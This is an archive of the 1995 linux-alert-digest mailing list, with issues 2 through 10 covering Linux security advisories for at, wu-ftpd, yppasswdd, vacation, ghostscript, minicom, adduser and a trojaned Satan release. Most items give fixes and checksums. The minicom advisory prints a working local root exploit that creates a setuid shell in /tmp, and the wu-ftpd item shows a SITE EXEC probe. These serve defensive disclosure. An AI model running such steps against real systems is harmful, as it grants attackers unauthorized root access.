into pgp. Regards, Olaf - --------------------- linux-security BLURB ------------------------- To find out about the linux-security and linux-alert mailing lists, send mail to [email protected] with the following commands in the message body: help lists end The mailing lists are also archived at linux.nrao.edu; majordomo's help text should tell you how to retrieve them. - ----------------------- MD5 signatures ----------------------------- 60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz 2201659365250c78766c9b123a598699 portmap-3.tar.gz - ---------------------- PGP signature for nfsd ---------------------- - -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M 3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8 FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp JOfwWWk+9Kk= =iL95 - -----END PGP MESSAGE----- - -------------------- PGP signature for portmap --------------------- - -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m 7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA P2bqC07ZfAw= =Wb6T - -----END PGP MESSAGE----- ------------------------------ End of linux-alert-digest V1 #2 ******************************* linux-alert-digest/1995/v01.n003100664 1767 1767 23412 5742431600 15304 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #3 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Tuesday, 11 April 1995 Volume 01 : Number 003 security hole in old versions of at for Linux Hash signs in hosts.equiv Trojan in Linux Satan Binaries (fwd) Trojan in Linux Satan Binaries! ---------------------------------------------------------------------- From: [email protected] (Thomas Koenig) Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST) Subject: security hole in old versions of at for Linux I've just been informed that earlier versions of my at/atrun package for Linux had a bug which allowed root access for any authorized user of the system. This bug can only be exploited if the user can edit a job he's submitted to the atrun queue. If 'at -V' shows a version earlier than 2.7, or if the directory /var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable, you are vulnerable. In that case, upgrade your system to at 2.7 or 2.7a immediately. In the meantime, changing the permissions of /var/spool/atjobs to 700 will prevent unauthorized root access; this may also render the 'at' system unusable. Non - vulnerable versions of at have been around for about 10 months, and have been included in the standard distributions. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 7 Apr 1995 18:05:43 +0200 (MET DST) Subject: Hash signs in hosts.equiv - -----BEGIN PGP SIGNED MESSAGE----- Hello, As has been reported, the ruserok() function in libc (up to at least version 4.6.27, didn't check the latest ones) does not take care of hash signs in hosts.equiv and .rhosts. If someone injects a bogus PTR record into their DNS, this could be dangerous for some extremely old Linux systems. Most machines I've seen however run a version of rlogin that does a spoof check on the host name obtained from gethostbyaddr. At the least, version 5.53 of rlogind is immune against this type of attack. You can check which version you have by running the strings command on the binary. As I don't have the source for rshd handy at the moment, I can't tell which versions of rshd are vulnerable and which aren't. If you are not sure if your rlogind/rshd binary is vulnerable, you have the following options: * Put the line nospoof on in your /etc/host.conf file. This rejects all hosts who have no or broken reverse mapping records in their DNS. * If you don't want to block all services for hosts with broken reverse mapping, get a newer version of tcpd (tcp_wrapper-6.3 or later) and add a line like this to /etc/hosts.deny: ALL except ftpd: UNKNOWN This rejects all hosts with missing or bad PTR entries for all services except FTP. Of course, you also have to make sure inetd actually invokes tcpd for this service. The appropriate entry in /etc/inetd.conf looks like this: login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind Regards, Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL4ViqeFnVHXv40etAQGbcQP+OTewrPRUBpX374nMlLzk0h+Pc6zCpc9t NhEjvo1uQ23q0orCBszIVc88yIBXGGIOwuvik+zYXcZl5N/cA+OhdrDokaQsR4lV xOWPCINis9LApZCxbZi5YswrdCH1Lzn2xSid3XEOa9qbrJKDuu4PlGQfSS1LQHQ0 Qk2w9L/5qSw= =wZGH - -----END PGP SIGNATURE----- ------------------------------ From: "S. Joel Katz" Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT) Subject: Trojan in Linux Satan Binaries [mod: I could not verify these claims in any way; nor could I verify if this mail is really from Joel Katz because the message was not PGP-signed. Therefore, I'm not signing this post to linux-alert either. You should take this warning serious nevertheless. --okir] - ---------------------------------------------------------------------------- SECURITY ALERT -- Trojan in Linux Satan Binaries - ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) ------------------------------ From: "Giao H. Phan" Date: Sat, 8 Apr 1995 11:11:12 -0400 Subject: (fwd) Trojan in Linux Satan Binaries! Path: netnews.upenn.edu!news.amherst.edu!news.mtholyoke.edu!uhog.mit.edu!news.mathworks.com!panix!not-for-mail From: [email protected] (S. Joel Katz) Newsgroups: alt.security,comp.security.unix Subject: Trojan in Linux Satan Binaries! Date: 8 Apr 1995 09:46:26 -0400 Organization: PANIX Public Access Internet and Unix, NYC Lines: 55 Message-ID: <[email protected]> NNTP-Posting-Host: panix3.panix.com Summary: There is a Trojan in some releases of the Linux Satan Binaries! Keywords: Satan Trojan Security Xref: netnews.upenn.edu alt.security:23744 comp.security.unix:15029 SECURITY ALERT -- Trojan in Linux Satan Binaries - ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) - -- S. Joel Katz Information on Objectivism, Linux, 8031s, and atheism [email protected] is available at http://www.panix.com/~stimpson/ - -- Casret - Pimp Segmentation fault (core dumped) (alpha) @ concrete.resnet.upenn.edu 4000 Flames welcome as they can only mean more publicity. ------------------------------ End of linux-alert-digest V1 #3 ******************************* linux-alert-digest/1995/v01.n004100664 1767 1767 15654 5765525200 15323 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #4 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 8 June 1995 Volume 01 : Number 004 SECURITY: problem with some wu-ftpd-2.4 binaries Re: SECURITY: problem with some wu-ftpd-2.4 binaries ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Wed, 31 May 95 02:49 MET DST Subject: SECURITY: problem with some wu-ftpd-2.4 binaries - -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's a security hole in some Linux distributions involving wu-ftpd-2.4. Some ftpd binaries have been compiled with a set of defaults that allow anyone with an account on your machine to become the root user. It appears that at least Slackware-2.0 and 2.2 are affected; I have no information about other distributions. Anonymous FTP should not be affected by this as long as you have only the `ls' command in To find out if your machine is affected, ftp to your own account, log in and enter this: quote "site exec bash -c id". If ftpd responds with a line that says something like "uid=0(root) euid=1234(your_login)... ", then your ftpd is vulnerable. The obvious fix is to obtain the source of wu-ftpd-2.4 and recompile it. The crucial part is the _PATH_EXECPATH define in src/pathnames.h. It should NOT be set to /bin or any other regular directory. By default, it is set to /bin/ftp-exec. Make sure this directory does not exist or contains only harmless commands you are absolutely sure you would want your users to execute as root. Thomas Lundquist has posted a small patch for src/ftpcmd.y that goes even further and disables the SITE EXEC command altogether. It is appended at the end of this message. All the fame goes to Michel [email protected] Thomas Lundquist [email protected] Aleph One [email protected] Have a nice day Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - - ------------------------------------------------------------------ table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 /tmp/DIFF M+2TM(&9T<&-M9"YY+F]R:6<)5V5D($UA>2`S,2`P,CHP,SHP-R`Q.3DU"BLKz M*R!F='!C;60N>0E7960@36%Y(#,Q(#`R.C`S.C4T(#$Y.34*0$`@+3$T,C&5C*&-M9"D*(&-H87(@*F-M9#L*x M*R`@("`O*B`**R`@("`@*B!4:&4@9&5C;&%R871I;VYS(&)E;&]V(&ET(&MEw M<'0@=&\@8F4@2!T:&4@;6]R;VX@86YD(&QO9R!H:6TN"BL@("`@("H@5&AO;6%Sp M+DQU;F1Q=6ES=$!H:6]F+FYO($UA>2`G.34**R`@("`@*B\*("`@("`*+2`@o M("!I9B`HPHM("`@("`@("!I9B`H:7-U<'!E2@U-3`L(&-M9"D["BT@("`@("`@a M(&EF("AL;V=?8V]M;6%N9',I"BT@("`@("`@("`@("!S>7-L;V7,O7-L;V2@R,#`L(").o M;R!F Date: Wed, 31 May 1995 04:55:59 -0400 Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries - -----BEGIN PGP SIGNED MESSAGE----- The post from Olaf that I just forwarded on to the linux-alert list apparently does not checksum with his PGP signature. It is, however, a valid alert. (I and others have verified the hole.) This PGP signature implicitly validates Olaf's message as well. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.1 iQCVAwUBL8wu5bxzFUpUTHgFAQEy6AP+ONifLUvB53J5xkkCRVJOQVSJm1p6JRw1 r+RWAGrVxtFxTBvp9w9gfbc1kwZeW9B/R2q3VebQWAx39uMMNSvU3QXOLznssaKT 9zwTrAxt068nMcIrIeQQp50SwnHbwUoKPLRNgD9mMyBg82/x/4HZvrWMCcqc5vEC lSmI2FbUOfA= =z6gS - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ End of linux-alert-digest V1 #4 ******************************* linux-alert-digest/1995/v01.n005100664 1767 1767 3750 5775176401 15304 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #5 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Saturday, 1 July 1995 Volume 01 : Number 005 SECURITY: problem with yppasswdd ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Thu, 22 Jun 1995 17:09:30 +0200 (MET DST) Subject: SECURITY: problem with yppasswdd - -----BEGIN PGP SIGNED MESSAGE----- I just received a user report about a hole in my implementation of yppasswdd. Under certain circumstances, this hole lets users with a valid account on your machine gain access to other accounts. This bug affects all versions up to and including ypasswdd-0.6. Note that this vulnerability affects _only_ machines who use a) The NIS password maps b) Manage those password maps with rpc.yppasswdd. To plug this hole, you should obtain and install the latest version. I have uploaded yppasswd-0.7 to the following places: ftp.lysator.liu.se:/pub/NYS/incoming (to be moved) ftp.mathematik.th-darmstadt.de:/pub/linux/okir linux.nrao.edu:/pub/people/okir The MD5 signature is: d22e0061f80f9c28d4b12eeff42e79be yppasswd-0.7.tar.gz Many thanks to [email protected] for reporting this bug, and apologies to everyone for this stupid oversight Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL+mHSuFnVHXv40etAQEuoAP8C4xxqMugpQItaHXOMpGxj3SHnQcj9uZw eWFnguYZtXUTaDO/qmDR7I3lMmyhmIuRJ/yS+eC9afaMsyIzf9o+PoQ/7kdbjbEK B3kRx5cQVHcheLI1gi1YRdbJySTYAM6JtvMwIZEyRY0W5LT3swcIJhejfoXwsui0 +wjsq5DkK9o= =Fbqa - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V1 #5 ******************************* linux-alert-digest/1995/v01.n006100664 1767 1767 17011 6010077200 15274 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #6 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 3 August 1995 Volume 01 : Number 006 Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 SECURITY ALERT: Dangerous hole in vacation v1.0. ---------------------------------------------------------------------- From: alex Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT) Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0 July 26, 1995 15:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= The cipher-3.0 is a high speed DES cipher used by the deslogin(1) (encrypted login) and deslogingw(1) (encrypted login via gateway) protocol to perfom encryption of the session. Those who installed GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization. Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code of cipher. When compiling cipher-3.0 edit the Makefile and change CFLAGS and LDFLAGS to "-pipe -static" otherwise, your cipher will produce incorrect ciphertext. The default deslogin(1) and deslogingw(1) source trees, although use the code from the cipher-3.0 tree, have their own separate Makefile. Prior to compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and remove optimization flags. WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT *SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE PASSPHRASE. deslogin(1), deslogingw(1) and cipher(1) can be obtained from ftp://ftp.uu.net/pub/security/des/. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50 sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl RtFXqQDDl6o= =Po3y - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Jeff Uphoff Date: Wed, 2 Aug 1995 13:04:45 -0400 Subject: SECURITY ALERT: Dangerous hole in vacation v1.0. - -----BEGIN PGP SIGNED MESSAGE----- A major security hole in the Linux version of 'vacation' has been detected and corrected. This hole affects version 1.0 of 'vacation' as ported to Linux by Harald Milz (from Eric Allman's original BSD source) and found on sunsite.unc.edu and other FTP sites (and thus commonly used on Linux systems). Note: The hole was introduced in the Linux port/version and does not appear to affect other, non-Linux-specific, versions of vacation. The hole involved passing the Subject: and From: headers of the incoming e-mail message to 'sed' and 'sendmail' via a system() call. The extreme danger of this, especially in a program that is taking input from remote systems, should be apparent to most people that are familiar with the system() call internals. Thanks go to Olaf Kirch for detecting this hole and for coding an initial fix, and to Harald Milz for enhancing Olaf's fix to provide the same functionality as his (Harald's) previous version. Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version. UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED! Here is the LSM entry for the updated version: Begin3 Title: Automatic mail answering program for Linux Version: 1.1 Entered-Date: July 29, 1995 Description: This is the port of the 386bsd vacation program to Linux. Vacation is the automatic mail answering program found on many Unix systems. This is a security fixed version. PLEASE DON'T USE vacation-1.0 ANY LONGER! Keywords: vacation, mail answering Author: Eric Allman (?) Maintained-By: Harald Milz ([email protected]) Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers 28 KB vacation-1.1.tar.gz Original-Site: agate.berkeley.edu (as of Nov 16, 1993) Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2 Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California changes relative to the original version: GPL End In addition to Sunsite, the updated version is available in linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the tar-file on linux.nrao.edu is: f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz Note: For those that get syslog messages from 'sendmail' saying "mailer prog died with signal 13" when running this new v1.1 (it's a SEGV; the 13 is octal), try the following patch (Harald plans on adding this, as well as a couple of other slight modifications that I have made, in a future public update to the newly-released v1.1): diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c --- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995 +++ 1.1/vacation.c Sun Jul 30 13:39:41 1995 @@ -184,8 +184,8 @@ setreply(); (void) gdbm_close(db); sendmessage(pw->pw_name); - } - (void) gdbm_close(db); + } else + (void) gdbm_close(db); exit(0); /* NOTREACHED */ } - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT 9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E TQWmk4ekFJ8= =akI7 - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V1 #6 ******************************* linux-alert-digest/1995/v01.n007100664 1767 1767 5126 6021013402 15255 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #7 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 30 August 1995 Volume 01 : Number 007 Ghostscript problem ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Tue, 22 Aug 1995 21:29:19 +0200 (MET DST) Subject: Ghostscript problem - -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's another problem with ghostscript that makes you vulnerable to attacks via postscript code. Ghostscript has a file type that lets you execute arbitrary commands through the shell. While the -dSAFER option to gs protects you from ordinary file write/rename/removal attacks, it does not check for this special file type. The hole is present in all GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22. Below's a fix to gs_init.ps that fixes this. Please also make sure that all programs that use ghostscript set the -dSAFER option. ghostview 1.5 does by default, but version 1.4 does not. I'd suggest you also check your ps printer filter if you print postscript files using gs, and xdvi if you use a version that uses ghostscript to display postscript \special's. I checked only xdvi-20, and it's safe. Olaf PS: Patch follows. PGP will garble initial `-' characters in the patch; make sure to replace `- -' with `-' before applying it. - - ------------------------------------------------------------------ - - --- gs_init.ps.orig Sun Aug 20 23:22:01 1995 +++ gs_init.ps Sun Aug 20 23:22:46 1995 @@ -302,7 +302,8 @@ % If we want a "safer" system, disable some obvious ways to cause havoc. SAFER not { (%END SAFER) .skipeof } if /file - - - { dup (r) eq + { exch dup /..fname exch def exch + dup (r) eq ..fname (%pipe%*) .stringmatch not and { file } { /invalidfileaccess signalerror } ifelse - - ------------------------------------------------------------------ - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMDowAOFnVHXv40etAQH3swP8CrvRFW2+wXgqJqQTdCVIgUGk/QasREgP PPwaYKy/oD0ak2HFXXdvkUoMbGlhDqlVbDY7cm0M7wuTAxpejtPxspDlacvQSuO7 XA50N9++2P5npmFWa6IBupz4X69nPlnAVBjk/qF4PbpMKdrgIWx23CqecccBrmeC kezpwwcp32Y= =dhSU - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V1 #7 ******************************* linux-alert-digest/1995/v01.n008100664 1767 1767 5602 6030735402 15270 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #8 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Saturday, 23 September 1995 Volume 01 : Number 008 Minicom 1.70 ---------------------------------------------------------------------- From: Aleph One Date: Fri, 15 Sep 1995 13:05:09 -0500 (CDT) Subject: Minicom 1.70 Program: Minicom 1.70. Problem: Minicom users defined in its minicom.users file can gain root access. Explanation: Some distributions install minicom setuid root so that it can access callout devices (/dev/cua0, /dev/ttyS0, /dev/modem). Minicom also allows users to create scripts that can be used to automate logins, and other tasks. This scripts are interpreted by runscript(1). runscript(1) allows arbitrary shell escapes. Minicom forks and exec runscript(1) without calling setreuid(2) to drop priviledges. Therefore it fallows the user can execute arbitrary commands with the privilege of minicom. To complicate matters even more some distributions install minicom.users file with default user names. In the case of Slackware this are: gonzo, satan, snake. If you create accounts with this names on you system you are oppening you self to a security breach. If you have accounts under those name you might want to disable them until security is restored. If a users asks you to change their username to one of those or to create an account with one of those names DO NOT DO IT! Exploit: Create a program that sets its real and effective uid to 0, then executes a shell command such as copying a shell and making it setuid root. This will do: #include #include void main() { setreuid(0,0); system("/bin/cp /bin/sh /tmp/mysh"); system("/bin/chmod 4777 /tmp/mysh"); } Create a minicom script that will execute our program. echo '! /tmp/gime' > /tmp/foo Start minicom and type Control-A then G. Select C and enter the name for our minicom script (/tmp/foo). Hit return and execute the script. Exit minicom and you should find a setuid sh named as /tmp/mysh. Solution: Upgrade to minicom 1.71. Futhermore minicom should not be suid root. Minicom should be of the same group as the dialout device (normally tty, dialout, modem, or uucp), and setguid. On a side note many distributions have the correct premission in the /dev/cua devices but not on their equivalent /dev/ttyS devices. This is the case of debian 0.93. To fix chown root.dialout /dev/ttyS*; chmod o-rwx /dev/ttyS*. Make sure that this does brake your other serial devices such as your mouse. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A ------------------------------ End of linux-alert-digest V1 #8 ******************************* linux-alert-digest/1995/v01.n009100664 1767 1767 11752 6043636201 15315 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #9 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 26 October 1995 Volume 01 : Number 009 URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability ---------------------------------------------------------------------- From: alex Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT) Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability [NB: I didn't write the adduser replacement; I just modified it. --okir] - -----BEGIN PGP SIGNED MESSAGE----- adduser-1.0 Security Vulnerability LINUX SECURITY FAQ UPDATE October 17, 1995 15:30:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of the signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security/ linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive/ ============================================================================= VULNERABILITY ************* The adduser 1.0 script used on a lot of systems to add a new user account has a potential vulnerability that in some cases can allow an owner of the created account to gain unauthorized root access. The original version of this script had a mistake in the algorithm used to generate a new UID, which on systems that had accounts with UID close to 65535 (i.e. accounts 'nobody' with UID -2 or -1) caused the newly generated account to receive UID 0. AFFECTED DISTRIBUTIONS: *********************** RED HAT ======= Red Hat 2.0 uses a vulnerable version of the adduser script. Fortunately, Red Hat 2.0 systems by default do not have any accounts with UID higher than 1000. Nevertheless, an updated package is available from the following places: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/adduser-1.1-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm ftp://linux.nrao.edu/pub/people/alex/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm Please verify the MD5 message digest of the upgrade before installing. It has to be : MD5 (adduser-1.1-1.i386.rpm) = 543fab52c0cf6ae4751858d08cf958bd The upgrade can be performed using command rpm -USvh adduser-1.1-1.i386.rpm CALDERA DESKTOP =============== Unfortunately at this time we are not able to provide adequate information about vulnerability of the Caldera Desktop, though due to the fact that Caldera Desktop is based up RedHat 2.0, we recommend installing the updated adduser script. SLACKWARE ========= By default Slackware does not use the vulnerable adduser script, although we do recommend that you check. If it does, replace your adduser script with the one located on: ftp://bach.cis.temple.edu/pub/Linux/Security/adduser-1.1-ok.gz ftp://linux.nrao.edu/pub/people/alex/adduser-1.1-ok.gz Please verify the MD5 message digest of the adduser-1.1-ok.gz before installing it. It has to be: MD5 (adduser-1.1-ok.gz) = ceadb362f6761c59fc8e37e5ef7dcd29 OTHER DISTRIBUTIONS: Please follow the instructions under Slackware section. THE REPLACEMENT SCRIPT ********************** The replacement script was written by Olaf Kirch some time ago (probably when we discussed the possibility of roll-over in the linux-security mailing list). This script also uses a bit different algorithm of user ID allocation (first unused userid after uid of 500). CREDITS ******* The following people helped in preparing this update and fix: Marc R. Ewing Olaf Kirch Jennifer Burke - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMIRHPIxFUz2t8+6VAQHCfwP+NK3JiT93q0x7gyJnh37KlUqvRA66ssj2 YCamjV87yNqB5419ctWOe9nPwUMelYuFXnR7cw+a7HMhmFM7nXnOhB3TN5Rari+U MCKkhxnIpwrPh/c6MPsX3mVXW9XW/7sDeCOTdXqUJC9dveY0OHxdd6T639u5UcAA Y9HK6NmGUt4= =tzew - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V1 #9 ******************************* linux-alert-digest/1995/v01.n010100664 1767 1767 52116 6047223315 15306 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #10 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Sunday, 5 November 1995 Volume 01 : Number 010 Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability ---------------------------------------------------------------------- From: Erik Nygren Date: Thu, 02 Nov 1995 18:25:29 -0500 Subject: Fwd: CERT 